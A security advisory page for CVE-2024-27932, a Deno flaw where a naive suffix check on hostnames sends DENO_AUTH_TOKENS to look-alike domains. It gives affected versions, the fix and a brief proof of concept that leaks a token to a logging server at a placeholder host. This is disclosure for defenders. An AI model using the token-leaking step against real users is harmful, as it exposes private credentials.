NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · Rust (crates.io)

CVE-2024-27932: Deno's improper suffix match testing for DENO_AUTH_TOKENS

mediumCVSS 3.1 4.6GHSA-5frw-4rwq-xhcr

Summary Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for example.com may be sent to notexample.com.

Published Mar 6, 2024 · Updated Mar 21, 2024

Affected packages

deno

Ecosystem
Rust (crates.io)
Affected
>= 1.8.0, < 1.40.4
Fixed in
1.40.4
Check
cargo tree -i deno

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for example.com may be sent to notexample.com.

Details

auth_tokens.rs uses a simple ends_with check, which matches www.deno.land to a deno.land token as intended, but also matches im-in-ur-servers-attacking-ur-deno.land to deno.land tokens.

PoC

  • Set up a server that logs requests. RequestBin will do. For example, denovulnpoc.example.com.
  • Run [email protected] deno run https://not-a-left-truncated.domain. For example, [email protected] deno run https://denovulnpoc.example.com
  • Observe that the token intended only for the truncated domain is sent to the full domain

Impact

_What kind of vulnerability is it? Who is impacted?_ Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected.

Credited to easrng, mmastrac.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

More Rust (crates.io) vulnerabilities

All Rust (crates.io) entries